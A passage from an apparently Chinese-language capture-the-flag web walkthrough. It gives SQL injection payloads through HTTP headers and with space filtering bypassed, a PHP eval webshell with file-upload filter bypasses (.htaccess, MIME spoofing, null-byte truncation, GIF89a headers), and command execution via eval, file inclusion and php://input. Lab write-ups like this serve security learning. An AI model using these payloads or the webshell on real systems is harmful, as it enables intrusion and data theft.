User-Agent:-1 union select 1,iarnbdnvts from qtanuxwndk
Refer注入
也是bp抓包,修改refer的值,再进行注入
Referer: 1 order by 2
Referer: -1 union select 1,2
Referer: -1 union select 1,database()
Referer: -1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘sqli’
Referer: -1 union select 1,group_concat(column_name) from information_schema.columns where table_name=‘sqlyqzevmr’
Referer: -1 union select 1,dvidlvlifi from sqlyqzevmr
过滤空格
题目说了过滤空格,那么就可以用注释的方法绕过,如/**/
?id=1/**/order/**/by/**/2
?id=-1/**/union/**/select/**/1,2
?id=-1/**/union/**/select/**/1,database()
?id=-1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=‘sqli’
?id=-1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=‘ykdtufnqax’
?id=-1/**/union/**/select/**/1,ucyvexdzpv/**/from/**/ykdtufnqax
文件上传
无验证
因为是无验证,所以直接写一个<?php @eval($\_POST['a']); ?>的php文件上传就好了,然后蚁剑连接,得到flag
前端验证
将文件名改成1.jpg然后bp抓包进行上传,在bp里将后缀改回php,蚁剑连接即可
.htaccess
先上传一个.htaccess文件,内容如下:
SetHandler application/x-httpd-php
这样当前目录下的所有文件都会被当初php来解析
然后再上传1.jpg,蚁剑连接
MIME验证
上传1.php用bp抓包,将文件类型也就是Content-Type修改为image/jpeg
00截断
上传1.php使用bp抓包在文件名后面添加%00.jpg,发现上传成功却没有返回地址
F12查看源代码
关键在这一句,上传成功后会在10到99中随机取一个数,这样上传的路径就不确定,也无法连接,所以也要采用00截断
修改这两处,再蚁剑连接/upload/1.php即可得到flag
双写后缀
直接上传1.php发现php被替换为空,尝试双写绕过,修改文件名为1.pphphp,上传成功
蚁剑连接/upload/1.php
文件头检测
直接上传1.php提示文件类型不正确,只允许上传jpg、png、gif类型的文件
根据题目意思文件头检测,上传1.php使用bp抓包
在1.php内容开头部分添加GIF89a并且修改文件类型为image/gif
上传成功,蚁剑连接得到flag
RCE
eval执行
传个?cmd=system(‘ls’);发现能够执行ls命令,当前目录下存在index.php文件
?cmd=system(‘ls /’); 查看根目录下是否存在flag
发现存在flag_29557文件
?cmd=system(‘cat /flag_29557’);
cat一下得到flag
文件包含
这段代码的意思是通过get的方式传入参数file,如果传入的参数中包含flag就会输出Hacker!!!,否则就直接显示这个文件内容。
发现底下有个提示,点进去跳转到/shell.txt,是一句话木马
这样就可以利用,传入如下参数
接下来就跟上题一样,ls /,然后cat /flag
php://input
get方式传入的file参数前6位必须包含php://,这样才能包含文件,否则输出Hacker!!!
因为不知道文件名,所以这时候可以考虑php://input
php://input 是个可以访问请求的原始数据的只读流。当请求方式是post,并且Content-Type不等于”multipart/form-data”时,可以使用php://input来获取原始请求的数据。
bp抓包,将请求方式改为POST,在最底下传入<? php system(‘ls /’); ?>
就可以执行该命令,得到根目录下的文件,再cat一下